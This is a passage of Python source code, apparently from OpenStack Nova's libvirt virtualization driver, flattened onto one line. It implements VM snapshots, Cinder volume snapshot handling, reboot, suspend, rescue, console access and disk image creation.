instance=instance) raise exception.InterfaceDetachFailed(instance) def _create_snapshot_metadata(self, base, instance, img_fmt, snp_name): metadata = {'is_public': False, 'status': 'active', 'name': snp_name, 'properties': { 'kernel_id': instance['kernel_id'], 'image_location': 'snapshot', 'image_state': 'available', 'owner_id': instance['project_id'], 'ramdisk_id': instance['ramdisk_id'], } } if instance['os_type']: metadata['properties']['os_type'] = instance['os_type'] # NOTE(vish): glance forces ami disk format to be ami if base.get('disk_format') == 'ami': metadata['disk_format'] = 'ami' else: metadata['disk_format'] = img_fmt metadata['container_format'] = base.get('container_format', 'bare') return metadata def snapshot(self, context, instance, image_href, update_task_state): """Create snapshot from a running VM instance. This command only works with qemu 0.14+ """ try: virt_dom = self._lookup_by_name(instance['name']) except exception.InstanceNotFound: raise exception.InstanceNotRunning(instance_id=instance['uuid']) (image_service, image_id) = glance.get_remote_image_service( context, instance['image_ref']) base = compute_utils.get_image_metadata( context, image_service, image_id, instance) _image_service = glance.get_remote_image_service(context, image_href) snapshot_image_service, snapshot_image_id = _image_service snapshot = snapshot_image_service.show(context, snapshot_image_id) disk_path = libvirt_utils.find_disk(virt_dom) source_format = libvirt_utils.get_disk_type(disk_path) image_format = CONF.libvirt.snapshot_image_format or source_format # NOTE(bfilippov): save lvm and rbd as raw if image_format == 'lvm' or image_format == 'rbd': image_format = 'raw' metadata = self._create_snapshot_metadata(base, instance, image_format, snapshot['name']) snapshot_name = uuid.uuid4().hex (state, _max_mem, _mem, _cpus, _t) = virt_dom.info() state = LIBVIRT_POWER_STATE[state] # NOTE(rmk): Live snapshots require QEMU 1.3 and Libvirt 1.0.0. # These restrictions can be relaxed as other configurations # can be validated. if self.has_min_version(MIN_LIBVIRT_LIVESNAPSHOT_VERSION, MIN_QEMU_LIVESNAPSHOT_VERSION, REQ_HYPERVISOR_LIVESNAPSHOT) \ and not source_format == "lvm" and not source_format == 'rbd': live_snapshot = True # Abort is an idempotent operation, so make sure any block # jobs which may have failed are ended. This operation also # confirms the running instance, as opposed to the system as a # whole, has a new enough version of the hypervisor (bug 1193146). try: virt_dom.blockJobAbort(disk_path, 0) except libvirt.libvirtError as ex: error_code = ex.get_error_code() if error_code == libvirt.VIR_ERR_CONFIG_UNSUPPORTED: live_snapshot = False else: pass else: live_snapshot = False # NOTE(rmk): We cannot perform live snapshots when a managedSave # file is present, so we will use the cold/legacy method # for instances which are shutdown. if state == power_state.SHUTDOWN: live_snapshot = False # NOTE(dkang): managedSave does not work for LXC if CONF.libvirt.virt_type != 'lxc' and not live_snapshot: if state == power_state.RUNNING or state == power_state.PAUSED: self._detach_pci_devices(virt_dom, pci_manager.get_instance_pci_devs(instance)) virt_dom.managedSave(0) snapshot_backend = self.image_backend.snapshot(disk_path, image_type=source_format) if live_snapshot: LOG.info(_("Beginning live snapshot process"), instance=instance) else: LOG.info(_("Beginning cold snapshot process"), instance=instance) update_task_state(task_state=task_states.IMAGE_PENDING_UPLOAD) snapshot_directory = CONF.libvirt.snapshots_directory fileutils.ensure_tree(snapshot_directory) with utils.tempdir(dir=snapshot_directory) as tmpdir: try: out_path = os.path.join(tmpdir, snapshot_name) if live_snapshot: # NOTE(xqueralt): libvirt needs o+x in the temp directory os.chmod(tmpdir, 0o701) self._live_snapshot(virt_dom, disk_path, out_path, image_format) else: snapshot_backend.snapshot_extract(out_path, image_format) finally: new_dom = None # NOTE(dkang): because previous managedSave is not called # for LXC, _create_domain must not be called. if CONF.libvirt.virt_type != 'lxc' and not live_snapshot: if state == power_state.RUNNING: new_dom = self._create_domain(domain=virt_dom) elif state == power_state.PAUSED: new_dom = self._create_domain(domain=virt_dom, launch_flags=libvirt.VIR_DOMAIN_START_PAUSED) if new_dom is not None: self._attach_pci_devices(new_dom, pci_manager.get_instance_pci_devs(instance)) LOG.info(_("Snapshot extracted, beginning image upload"), instance=instance) # Upload that image to the image service update_task_state(task_state=task_states.IMAGE_UPLOADING, expected_state=task_states.IMAGE_PENDING_UPLOAD) with libvirt_utils.file_open(out_path) as image_file: image_service.update(context, image_href, metadata, image_file) LOG.info(_("Snapshot image upload complete"), instance=instance) @staticmethod def _wait_for_block_job(domain, disk_path, abort_on_error=False): """Wait for libvirt block job to complete. Libvirt may return either cur==end or an empty dict when the job is complete, depending on whether the job has been cleaned up by libvirt yet, or not. :returns: True if still in progress False if completed """ status = domain.blockJobInfo(disk_path, 0) if status == -1 and abort_on_error: msg = _('libvirt error while requesting blockjob info.') raise exception.NovaException(msg) try: cur = status.get('cur', 0) end = status.get('end', 0) except Exception: return False if cur == end: return False else: return True def _live_snapshot(self, domain, disk_path, out_path, image_format): """Snapshot an instance without downtime.""" # Save a copy of the domain's running XML file xml = domain.XMLDesc(0) # Abort is an idempotent operation, so make sure any block # jobs which may have failed are ended. try: domain.blockJobAbort(disk_path, 0) except Exception: pass # NOTE (rmk): We are using shallow rebases as a workaround to a bug # in QEMU 1.3. In order to do this, we need to create # a destination image with the original backing file # and matching size of the instance root disk. src_disk_size = libvirt_utils.get_disk_size(disk_path) src_back_path = libvirt_utils.get_disk_backing_file(disk_path, basename=False) disk_delta = out_path + '.delta' libvirt_utils.create_cow_image(src_back_path, disk_delta, src_disk_size) try: # NOTE (rmk): blockRebase cannot be executed on persistent # domains, so we need to temporarily undefine it. # If any part of this block fails, the domain is # re-defined regardless. if domain.isPersistent(): domain.undefine() # NOTE (rmk): Establish a temporary mirror of our root disk and # issue an abort once we have a complete copy. domain.blockRebase(disk_path, disk_delta, 0, libvirt.VIR_DOMAIN_BLOCK_REBASE_COPY | libvirt.VIR_DOMAIN_BLOCK_REBASE_REUSE_EXT | libvirt.VIR_DOMAIN_BLOCK_REBASE_SHALLOW) while self._wait_for_block_job(domain, disk_path): time.sleep(0.5) domain.blockJobAbort(disk_path, 0) libvirt_utils.chown(disk_delta, os.getuid()) finally: self._conn.defineXML(xml) # Convert the delta (CoW) image with a backing file to a flat # image with no backing file. libvirt_utils.extract_snapshot(disk_delta, 'qcow2', out_path, image_format) def _volume_snapshot_update_status(self, context, snapshot_id, status): """Send a snapshot status update to Cinder. This method captures and logs exceptions that occur since callers cannot do anything useful with these exceptions. Operations on the Cinder side waiting for this will time out if a failure occurs sending the update. :param context: security context :param snapshot_id: id of snapshot being updated :param status: new status value """ try: self._volume_api.update_snapshot_status(context, snapshot_id, status) except Exception: msg = _('Failed to send updated snapshot status ' 'to volume service.') LOG.exception(msg) def _volume_snapshot_create(self, context, instance, domain, volume_id, snapshot_id, new_file): """Perform volume snapshot. :param domain: VM that volume is attached to :param volume_id: volume UUID to snapshot :param snapshot_id: UUID of snapshot being created :param new_file: relative path to new qcow2 file present on share """ xml = domain.XMLDesc(0) xml_doc = etree.fromstring(xml) device_info = vconfig.LibvirtConfigGuest() device_info.parse_dom(xml_doc) disks_to_snap = [] # to be snapshotted by libvirt disks_to_skip = [] # local disks not snapshotted for disk in device_info.devices: if (disk.root_name != 'disk'): continue if (disk.target_dev is None): continue if (disk.serial is None or disk.serial != volume_id): disks_to_skip.append(disk.source_path) continue # disk is a Cinder volume with the correct volume_id disk_info = { 'dev': disk.target_dev, 'serial': disk.serial, 'current_file': disk.source_path } # Determine path for new_file based on current path current_file = disk_info['current_file'] new_file_path = os.path.join(os.path.dirname(current_file), new_file) disks_to_snap.append((current_file, new_file_path)) if not disks_to_snap: msg = _('Found no disk to snapshot.') raise exception.NovaException(msg) snapshot = vconfig.LibvirtConfigGuestSnapshot() for current_name, new_filename in disks_to_snap: snap_disk = vconfig.LibvirtConfigGuestSnapshotDisk() snap_disk.name = current_name snap_disk.source_path = new_filename snap_disk.source_type = 'file' snap_disk.snapshot = 'external' snap_disk.driver_name = 'qcow2' snapshot.add_disk(snap_disk) for dev in disks_to_skip: snap_disk = vconfig.LibvirtConfigGuestSnapshotDisk() snap_disk.name = dev snap_disk.snapshot = 'no' snapshot.add_disk(snap_disk) snapshot_xml = snapshot.to_xml() LOG.debug(_("snap xml: %s") % snapshot_xml) snap_flags = (libvirt.VIR_DOMAIN_SNAPSHOT_CREATE_DISK_ONLY | libvirt.VIR_DOMAIN_SNAPSHOT_CREATE_NO_METADATA | libvirt.VIR_DOMAIN_SNAPSHOT_CREATE_REUSE_EXT) QUIESCE = libvirt.VIR_DOMAIN_SNAPSHOT_CREATE_QUIESCE try: domain.snapshotCreateXML(snapshot_xml, snap_flags | QUIESCE) return except libvirt.libvirtError: msg = _('Unable to create quiesced VM snapshot, ' 'attempting again with quiescing disabled.') LOG.exception(msg) try: domain.snapshotCreateXML(snapshot_xml, snap_flags) except libvirt.libvirtError: msg = _('Unable to create VM snapshot, ' 'failing volume_snapshot operation.') LOG.exception(msg) raise def volume_snapshot_create(self, context, instance, volume_id, create_info): """Create snapshots of a Cinder volume via libvirt. :param instance: VM instance object reference :param volume_id: id of volume being snapshotted :param create_info: dict of information used to create snapshots - snapshot_id : ID of snapshot - type : qcow2 / <other> - new_file : qcow2 file created by Cinder which becomes the VM's active image after the snapshot is complete """ LOG.debug(_("volume_snapshot_create: create_info: %(c_info)s"), {'c_info': create_info}, instance=instance) try: virt_dom = self._lookup_by_name(instance.name) except exception.InstanceNotFound: raise exception.InstanceNotRunning(instance_id=instance.uuid) if create_info['type'] != 'qcow2': raise exception.NovaException(_('Unknown type: %s') % create_info['type']) snapshot_id = create_info.get('snapshot_id', None) if snapshot_id is None: raise exception.NovaException(_('snapshot_id required ' 'in create_info')) try: self._volume_snapshot_create(context, instance, virt_dom, volume_id, snapshot_id, create_info['new_file']) except Exception: with excutils.save_and_reraise_exception(): msg = _('Error occurred during volume_snapshot_create, ' 'sending error status to Cinder.') LOG.exception(msg) self._volume_snapshot_update_status( context, snapshot_id, 'error') self._volume_snapshot_update_status( context, snapshot_id, 'creating') def _volume_snapshot_delete(self, context, instance, volume_id, snapshot_id, delete_info=None): """Note: if file being merged into == active image: do a blockRebase (pull) operation else: do a blockCommit operation Files must be adjacent in snap chain. :param instance: instance object reference :param volume_id: volume UUID :param snapshot_id: snapshot UUID (unused currently) :param delete_info: { 'type': 'qcow2', 'file_to_merge': 'a.img', 'merge_target_file': 'b.img' or None (if merging file_to_merge into active image) } Libvirt blockjob handling required for this method is broken in versions of libvirt that do not contain: http://libvirt.org/git/?p=libvirt.git;h=0f9e67bfad (1.1.1) (Patch is pending in 1.0.5-maint branch as well, but we cannot detect libvirt 1.0.5.5 vs. 1.0.5.6 here.) """ if not self.has_min_version(MIN_LIBVIRT_BLOCKJOBINFO_VERSION): ver = '.'.join([str(x) for x in MIN_LIBVIRT_BLOCKJOBINFO_VERSION]) msg = _("Libvirt '%s' or later is required for online deletion " "of volume snapshots.") % ver raise exception.Invalid(msg) LOG.debug(_('volume_snapshot_delete: delete_info: %s') % delete_info) if delete_info['type'] != 'qcow2': msg = _('Unknown delete_info type %s') % delete_info['type'] raise exception.NovaException(msg) try: virt_dom = self._lookup_by_name(instance.name) except exception.InstanceNotFound: raise exception.InstanceNotRunning(instance_id=instance.uuid) ##### Find dev name my_dev = None active_disk = None xml = virt_dom.XMLDesc(0) xml_doc = etree.fromstring(xml) device_info = vconfig.LibvirtConfigGuest() device_info.parse_dom(xml_doc) for disk in device_info.devices: if (disk.root_name != 'disk'): continue if (disk.target_dev is None or disk.serial is None): continue if disk.serial == volume_id: my_dev = disk.target_dev active_disk = disk.source_path if my_dev is None or active_disk is None: msg = _('Unable to locate disk matching id: %s') % volume_id raise exception.NovaException(msg) LOG.debug(_("found dev, it's %(dev)s, with active disk: %(disk)s"), {'dev': my_dev, 'disk': active_disk}) if delete_info['merge_target_file'] is None: # pull via blockRebase() # Merge the most recent snapshot into the active image rebase_disk = my_dev rebase_base = delete_info['file_to_merge'] rebase_bw = 0 rebase_flags = 0 LOG.debug(_('disk: %(disk)s, base: %(base)s, ' 'bw: %(bw)s, flags: %(flags)s') % {'disk': rebase_disk, 'base': rebase_base, 'bw': rebase_bw, 'flags': rebase_flags}) result = virt_dom.blockRebase(rebase_disk, rebase_base, rebase_bw, rebase_flags) if result == 0: LOG.debug(_('blockRebase started successfully')) while self._wait_for_block_job(virt_dom, rebase_disk, abort_on_error=True): LOG.debug(_('waiting for blockRebase job completion')) time.sleep(0.5) else: # commit with blockCommit() commit_disk = my_dev commit_base = delete_info['merge_target_file'] commit_top = delete_info['file_to_merge'] bandwidth = 0 flags = 0 result = virt_dom.blockCommit(commit_disk, commit_base, commit_top, bandwidth, flags) if result == 0: LOG.debug(_('blockCommit started successfully')) while self._wait_for_block_job(virt_dom, commit_disk, abort_on_error=True): LOG.debug(_('waiting for blockCommit job completion')) time.sleep(0.5) def volume_snapshot_delete(self, context, instance, volume_id, snapshot_id, delete_info=None): try: self._volume_snapshot_delete(context, instance, volume_id, snapshot_id, delete_info=delete_info) except Exception: with excutils.save_and_reraise_exception(): msg = _('Error occurred during volume_snapshot_delete, ' 'sending error status to Cinder.') LOG.exception(msg) self._volume_snapshot_update_status( context, snapshot_id, 'error_deleting') self._volume_snapshot_update_status(context, snapshot_id, 'deleting') def reboot(self, context, instance, network_info, reboot_type='SOFT', block_device_info=None, bad_volumes_callback=None): """Reboot a virtual machine, given an instance reference.""" if reboot_type == 'SOFT': # NOTE(vish): This will attempt to do a graceful shutdown/restart. try: soft_reboot_success = self._soft_reboot(instance) except libvirt.libvirtError as e: LOG.debug(_("Instance soft reboot failed: %s"), e) soft_reboot_success = False if soft_reboot_success: LOG.info(_("Instance soft rebooted successfully."), instance=instance) return else: LOG.warn(_("Failed to soft reboot instance. " "Trying hard reboot."), instance=instance) return self._hard_reboot(context, instance, network_info, block_device_info) def _soft_reboot(self, instance): """Attempt to shutdown and restart the instance gracefully. We use shutdown and create here so we can return if the guest responded and actually rebooted. Note that this method only succeeds if the guest responds to acpi. Therefore we return success or failure so we can fall back to a hard reboot if necessary. :returns: True if the reboot succeeded """ dom = self._lookup_by_name(instance["name"]) (state, _max_mem, _mem, _cpus, _t) = dom.info() state = LIBVIRT_POWER_STATE[state] old_domid = dom.ID() # NOTE(vish): This check allows us to reboot an instance that # is already shutdown. if state == power_state.RUNNING: dom.shutdown() # NOTE(vish): This actually could take slightly longer than the # FLAG defines depending on how long the get_info # call takes to return. self._prepare_pci_devices_for_use( pci_manager.get_instance_pci_devs(instance)) for x in xrange(CONF.libvirt.wait_soft_reboot_seconds): dom = self._lookup_by_name(instance["name"]) (state, _max_mem, _mem, _cpus, _t) = dom.info() state = LIBVIRT_POWER_STATE[state] new_domid = dom.ID() # NOTE(ivoks): By checking domain IDs, we make sure we are # not recreating domain that's already running. if old_domid != new_domid: if state in [power_state.SHUTDOWN, power_state.CRASHED]: LOG.info(_("Instance shutdown successfully."), instance=instance) self._create_domain(domain=dom) timer = loopingcall.FixedIntervalLoopingCall( self._wait_for_running, instance) timer.start(interval=0.5).wait() return True else: LOG.info(_("Instance may have been rebooted during soft " "reboot, so return now."), instance=instance) return True greenthread.sleep(1) return False def _hard_reboot(self, context, instance, network_info, block_device_info=None): """Reboot a virtual machine, given an instance reference. Performs a Libvirt reset (if supported) on the domain. If Libvirt reset is unavailable this method actually destroys and re-creates the domain to ensure the reboot happens, as the guest OS cannot ignore this action. If xml is set, it uses the passed in xml in place of the xml from the existing domain. """ self._destroy(instance) # Get the system metadata from the instance system_meta = utils.instance_sys_meta(instance) # Convert the system metadata to image metadata image_meta = utils.get_image_from_system_metadata(system_meta) if not image_meta: image_ref = instance.get('image_ref') service, image_id = glance.get_remote_image_service(context, image_ref) image_meta = compute_utils.get_image_metadata(context, service, image_id, instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance, block_device_info, image_meta) # NOTE(vish): This could generate the wrong device_format if we are # using the raw backend and the images don't exist yet. # The create_images_and_backing below doesn't properly # regenerate raw backend images, however, so when it # does we need to (re)generate the xml after the images # are in place. xml = self.to_xml(context, instance, network_info, disk_info, block_device_info=block_device_info, write_to_disk=True) # NOTE (rmk): Re-populate any missing backing files. disk_info_json = self.get_instance_disk_info(instance['name'], xml, block_device_info) instance_dir = libvirt_utils.get_instance_path(instance) self._create_images_and_backing(context, instance, instance_dir, disk_info_json) # Initialize all the necessary networking, block devices and # start the instance. self._create_domain_and_network(context, xml, instance, network_info, block_device_info, reboot=True, vifs_already_plugged=True) self._prepare_pci_devices_for_use( pci_manager.get_instance_pci_devs(instance)) def _wait_for_reboot(): """Called at an interval until the VM is running again.""" state = self.get_info(instance)['state'] if state == power_state.RUNNING: LOG.info(_("Instance rebooted successfully."), instance=instance) raise loopingcall.LoopingCallDone() timer = loopingcall.FixedIntervalLoopingCall(_wait_for_reboot) timer.start(interval=0.5).wait() def pause(self, instance): """Pause VM instance.""" dom = self._lookup_by_name(instance['name']) dom.suspend() def unpause(self, instance): """Unpause paused VM instance.""" dom = self._lookup_by_name(instance['name']) dom.resume() def power_off(self, instance): """Power off the specified instance.""" self._destroy(instance) def power_on(self, context, instance, network_info, block_device_info=None): """Power on the specified instance.""" # We use _hard_reboot here to ensure that all backing files, # network, and block device connections, etc. are established # and available before we attempt to start the instance. self._hard_reboot(context, instance, network_info, block_device_info) def suspend(self, instance): """Suspend the specified instance.""" dom = self._lookup_by_name(instance['name']) self._detach_pci_devices(dom, pci_manager.get_instance_pci_devs(instance)) dom.managedSave(0) def resume(self, context, instance, network_info, block_device_info=None): """resume the specified instance.""" xml = self._get_existing_domain_xml(instance, network_info, block_device_info) dom = self._create_domain_and_network(context, xml, instance, network_info, block_device_info=block_device_info, vifs_already_plugged=True) self._attach_pci_devices(dom, pci_manager.get_instance_pci_devs(instance)) def resume_state_on_host_boot(self, context, instance, network_info, block_device_info=None): """resume guest state when a host is booted.""" # Check if the instance is running already and avoid doing # anything if it is. if self.instance_exists(instance['name']): domain = self._lookup_by_name(instance['name']) state = LIBVIRT_POWER_STATE[domain.info()[0]] ignored_states = (power_state.RUNNING, power_state.SUSPENDED, power_state.NOSTATE, power_state.PAUSED) if state in ignored_states: return # Instance is not up and could be in an unknown state. # Be as absolute as possible about getting it back into # a known and running state. self._hard_reboot(context, instance, network_info, block_device_info) def rescue(self, context, instance, network_info, image_meta, rescue_password): """Loads a VM using rescue images. A rescue is normally performed when something goes wrong with the primary images and data needs to be corrected/recovered. Rescuing should not edit or over-ride the original image, only allow for data recovery. """ instance_dir = libvirt_utils.get_instance_path(instance) unrescue_xml = self._get_existing_domain_xml(instance, network_info) unrescue_xml_path = os.path.join(instance_dir, 'unrescue.xml') libvirt_utils.write_to_file(unrescue_xml_path, unrescue_xml) rescue_images = { 'image_id': CONF.libvirt.rescue_image_id or instance['image_ref'], 'kernel_id': (CONF.libvirt.rescue_kernel_id or instance['kernel_id']), 'ramdisk_id': (CONF.libvirt.rescue_ramdisk_id or instance['ramdisk_id']), } disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance, None, image_meta, rescue=True) self._create_image(context, instance, disk_info['mapping'], '.rescue', rescue_images, network_info=network_info, admin_pass=rescue_password) xml = self.to_xml(context, instance, network_info, disk_info, image_meta, rescue=rescue_images, write_to_disk=True) self._destroy(instance) self._create_domain(xml) def unrescue(self, instance, network_info): """Reboot the VM which is being rescued back into primary images. """ instance_dir = libvirt_utils.get_instance_path(instance) unrescue_xml_path = os.path.join(instance_dir, 'unrescue.xml') xml = libvirt_utils.load_file(unrescue_xml_path) virt_dom = self._lookup_by_name(instance['name']) self._destroy(instance) self._create_domain(xml, virt_dom) libvirt_utils.file_delete(unrescue_xml_path) rescue_files = os.path.join(instance_dir, "*.rescue") for rescue_file in glob.iglob(rescue_files): libvirt_utils.file_delete(rescue_file) def poll_rebooting_instances(self, timeout, instances): pass def _enable_hairpin(self, xml): interfaces = self.get_interfaces(xml) for interface in interfaces: utils.execute('tee', '/sys/class/net/%s/brport/hairpin_mode' % interface, process_input='1', run_as_root=True, check_exit_code=[0, 1]) # NOTE(ilyaalekseyev): Implementation like in multinics # for xenapi(tr3buchet) def spawn(self, context, instance, image_meta, injected_files, admin_password, network_info=None, block_device_info=None): disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance, block_device_info, image_meta) self._create_image(context, instance, disk_info['mapping'], network_info=network_info, block_device_info=block_device_info, files=injected_files, admin_pass=admin_password) xml = self.to_xml(context, instance, network_info, disk_info, image_meta, block_device_info=block_device_info, write_to_disk=True) self._create_domain_and_network(context, xml, instance, network_info, block_device_info) LOG.debug(_("Instance is running"), instance=instance) def _wait_for_boot(): """Called at an interval until the VM is running.""" state = self.get_info(instance)['state'] if state == power_state.RUNNING: LOG.info(_("Instance spawned successfully."), instance=instance) raise loopingcall.LoopingCallDone() timer = loopingcall.FixedIntervalLoopingCall(_wait_for_boot) timer.start(interval=0.5).wait() def _flush_libvirt_console(self, pty): out, err = utils.execute('dd', 'if=%s' % pty, 'iflag=nonblock', run_as_root=True, check_exit_code=False) return out def _append_to_file(self, data, fpath): LOG.info(_('data: %(data)r, fpath: %(fpath)r'), {'data': data, 'fpath': fpath}) fp = open(fpath, 'a+') fp.write(data) return fpath def get_console_output(self, context, instance): virt_dom = self._lookup_by_name(instance.name) xml = virt_dom.XMLDesc(0) tree = etree.fromstring(xml) console_types = {} # NOTE(comstud): We want to try 'file' types first, then try 'pty' # types. We can't use Python 2.7 syntax of: # tree.find("./devices/console[@type='file']/source") # because we need to support 2.6. console_nodes = tree.findall('./devices/console') for console_node in console_nodes: console_type = console_node.get('type') console_types.setdefault(console_type, []) console_types[console_type].append(console_node) # If the guest has a console logging to a file prefer to use that if console_types.get('file'): for file_console in console_types.get('file'): source_node = file_console.find('./source') if source_node is None: continue path = source_node.get("path") if not path: continue libvirt_utils.chown(path, os.getuid()) with libvirt_utils.file_open(path, 'rb') as fp: log_data, remaining = utils.last_bytes(fp, MAX_CONSOLE_BYTES) if remaining > 0: LOG.info(_('Truncated console log returned, %d bytes ' 'ignored'), remaining, instance=instance) return log_data # Try 'pty' types if console_types.get('pty'): for pty_console in console_types.get('pty'): source_node = pty_console.find('./source') if source_node is None: continue pty = source_node.get("path") if not pty: continue break else: msg = _("Guest does not have a console available") raise exception.NovaException(msg) self._chown_console_log_for_instance(instance) data = self._flush_libvirt_console(pty) console_log = self._get_console_log_path(instance) fpath = self._append_to_file(data, console_log) with libvirt_utils.file_open(fpath, 'rb') as fp: log_data, remaining = utils.last_bytes(fp, MAX_CONSOLE_BYTES) if remaining > 0: LOG.info(_('Truncated console log returned, %d bytes ignored'), remaining, instance=instance) return log_data @staticmethod def get_host_ip_addr(): return CONF.my_ip def get_vnc_console(self, context, instance): def get_vnc_port_for_instance(instance_name): virt_dom = self._lookup_by_name(instance_name) xml = virt_dom.XMLDesc(0) dom = xmlutils.safe_minidom_parse_string(xml) for graphic in dom.getElementsByTagName('graphics'): if graphic.getAttribute('type') == 'vnc': return graphic.getAttribute('port') # NOTE(rmk): We had VNC consoles enabled but the instance in # question is not actually listening for connections. raise exception.ConsoleTypeUnavailable(console_type='vnc') port = get_vnc_port_for_instance(instance.name) host = CONF.vncserver_proxyclient_address return {'host': host, 'port': port, 'internal_access_path': None} def get_spice_console(self, context, instance): def get_spice_ports_for_instance(instance_name): virt_dom = self._lookup_by_name(instance_name) xml = virt_dom.XMLDesc(0) # TODO(sleepsonthefloor): use etree instead of minidom dom = xmlutils.safe_minidom_parse_string(xml) for graphic in dom.getElementsByTagName('graphics'): if graphic.getAttribute('type') == 'spice': return (graphic.getAttribute('port'), graphic.getAttribute('tlsPort')) # NOTE(rmk): We had Spice consoles enabled but the instance in # question is not actually listening for connections. raise exception.ConsoleTypeUnavailable(console_type='spice') ports = get_spice_ports_for_instance(instance['name']) host = CONF.spice.server_proxyclient_address return {'host': host, 'port': ports[0], 'tlsPort': ports[1], 'internal_access_path': None} @staticmethod def _supports_direct_io(dirpath): if not hasattr(os, 'O_DIRECT'): LOG.debug(_("This python runtime does not support direct I/O")) return False testfile = os.path.join(dirpath, ".directio.test") hasDirectIO = True try: f = os.open(testfile, os.O_CREAT | os.O_WRONLY | os.O_DIRECT) # Check is the write allowed with 512 byte alignment align_size = 512 m = mmap.mmap(-1, align_size) m.write(r"x" * align_size) os.write(f, m) os.close(f) LOG.debug(_("Path '%(path)s' supports direct I/O") % {'path': dirpath}) except OSError as e: if e.errno == errno.EINVAL: LOG.debug(_("Path '%(path)s' does not support direct I/O: " "'%(ex)s'") % {'path': dirpath, 'ex': str(e)}) hasDirectIO = False else: with excutils.save_and_reraise_exception(): LOG.error(_("Error on '%(path)s' while checking " "direct I/O: '%(ex)s'") % {'path': dirpath, 'ex': str(e)}) except Exception as e: with excutils.save_and_reraise_exception(): LOG.error(_("Error on '%(path)s' while checking direct I/O: " "'%(ex)s'") % {'path': dirpath, 'ex': str(e)}) finally: try: os.unlink(testfile) except Exception: pass return hasDirectIO @staticmethod def _create_local(target, local_size, unit='G', fs_format=None, label=None): """Create a blank image of specified size.""" libvirt_utils.create_image('raw', target, '%d%c' % (local_size, unit)) def _create_ephemeral(self, target, ephemeral_size, fs_label, os_type, is_block_dev=False, max_size=None): if not is_block_dev: self._create_local(target, ephemeral_size) # Run as root only for block devices. disk.mkfs(os_type, fs_label, target, run_as_root=is_block_dev) @staticmethod def _create_swap(target, swap_mb, max_size=None): """Create a swap file of specified size.""" libvirt_utils.create_image('raw', target, '%dM' % swap_mb) utils.mkfs('swap', target) @staticmethod def _get_console_log_path(instance): return os.path.join(libvirt_utils.get_instance_path(instance), 'console.log') @staticmethod def _get_disk_config_path(instance): return os.path.join(libvirt_utils.get_instance_path(instance), 'disk.config') def _chown_console_log_for_instance(self, instance): console_log = self._get_console_log_path(instance) if os.path.exists(console_log): libvirt_utils.chown(console_log, os.getuid()) def _chown_disk_config_for_instance(self, instance): disk_config = self._get_disk_config_path(instance) if os.path.exists(disk_config): libvirt_utils.chown(disk_config, os.getuid()) @staticmethod def _is_booted_from_volume(instance, disk_mapping): """Determines whether the VM is booting from volume Determines whether the disk mapping indicates that the VM is booting from a volume. """ return ((not bool(instance.get('image_ref'))) or 'disk' not in disk_mapping) def _inject_data(self, instance, network_info, admin_pass, files, suffix): """Injects data in an disk image Helper used for injecting data in a disk image file system. Keyword arguments: instance -- a dict that refers instance specifications network_info -- a dict that refers network speficications admin_pass -- a string used to set an admin password files -- a list of files needs to be injected suffix -- a string used as a image name suffix """ # Handles the partition need to be used. target_partition = None if not instance['kernel_id']: target_partition = CONF.libvirt.inject_partition if target_partition == 0: target_partition = None if CONF.libvirt.virt_type == 'lxc': target_partition = None # Handles the key injection. if CONF.libvirt.inject_key and instance.get('key_data'): key = str(instance['key_data']) else: key = None # Handles the admin password injection. if not CONF.libvirt.inject_password: admin_pass = None # Handles the network injection. net = netutils.get_injected_network_template(network_info) # Handles the metadata injection metadata = instance.get('metadata') image_type = CONF.libvirt.images_type if any((key, net, metadata, admin_pass, files)): injection_path = self.image_backend.image( instance, 'disk' + suffix, image_type).path img_id = instance['image_ref'] try: disk.inject_data(injection_path, key, net, metadata, admin_pass, files, partition=target_partition, use_cow=CONF.use_cow_images, mandatory=('files',)) except Exception as e: with excutils.save_and_reraise_exception(): LOG.error(_('Error injecting data into image ' '%(img_id)s (%(e)s)'), {'img_id': img_id, 'e': e}, instance=instance) def _create_image(self, context, instance, disk_mapping, suffix='', disk_images=None, network_info=None, block_device_info=None, files=None, admin_pass=None, inject_files=True): if not suffix: suffix = '' booted_from_volume = self._is_booted_from_volume( instance, disk_mapping) def image(fname, image_type=CONF.libvirt.images_type): return self.image_backend.image(instance, fname + suffix, image_type) def raw(fname): return image(fname, image_type='raw') # ensure directories exist and are writable fileutils.ensure_tree(libvirt_utils.get_instance_path(instance)) LOG.info(_('Creating image'), instance=instance) # NOTE(dprince): for rescue console.log may already exist... chown it. self._chown_console_log_for_instance(instance) # NOTE(yaguang): For evacuate disk.config already exist in shared # storage, chown it. self._chown_disk_config_for_instance(instance) # NOTE(vish): No need add the suffix to console.log libvirt_utils.write_to_file( self._get_console_log_path(instance), '', 7) if not disk_images: disk_images = {'image_id': instance['image_ref'], 'kernel_id': instance['kernel_id'], 'ramdisk_id': instance['ramdisk_id']} if disk_images['kernel_id']: fname = imagecache.get_cache_fname(disk_images, 'kernel_id') raw('kernel').cache(fetch_func=libvirt_utils.fetch_image, context=context, filename=fname, image_id=disk_images['kernel_id'], user_id=instance['user_id'], project_id=instance['project_id']) if disk_images['ramdisk_id']: fname = imagecache.get_cache_fname(disk_images, 'ramdisk_id') raw('ramdisk').cache(fetch_func=libvirt_utils.fetch_image, context=context, filename=fname, image_id=disk_images['ramdisk_id'], user_id=instance['user_id'], project_id=instance['project_id']) inst_type = flavors.extract_flavor(instance) # NOTE(ndipanov): Even if disk_mapping was passed in, which # currently happens only on rescue - we still don't want to # create a base image. if not booted_from_volume: root_fname = imagecache.get_cache_fname(disk_images, 'image_id') size = instance['root_gb'] * units.Gi if size == 0 or suffix == '.rescue': size = None image('disk').cache(fetch_func=libvirt_utils.fetch_image, context=context, filename=root_fname, size=size, image_id=disk_images['image_id'], user_id=instance['user_id'], project_id=instance['project_id']) # Lookup the filesystem type if required os_type_with_default = disk.get_fs_type_for_os_type( instance['os_type']) ephemeral_gb = instance['ephemeral_gb'] if 'disk.local' in disk_mapping: disk_image = image('disk.local') fn = functools.partial(self._create_ephemeral, fs_label='ephemeral0', os_type=instance["os_type"], is_block_dev=disk_image.is_block_dev) fname = "ephemeral_%s_%s" % (ephemeral_gb, os_type_with_default) size = ephemeral_gb * units.Gi disk_image.cache(fetch_func=fn, filename=fname, size=size, ephemeral_size=ephemeral_gb) for idx, eph in enumerate(driver.block_device_info_get_ephemerals( block_device_info)): disk_image = image(blockinfo.get_eph_disk(idx)) fn = functools.partial(self._create_ephemeral, fs_label='ephemeral%d' % idx, os_type=instance["os_type"], 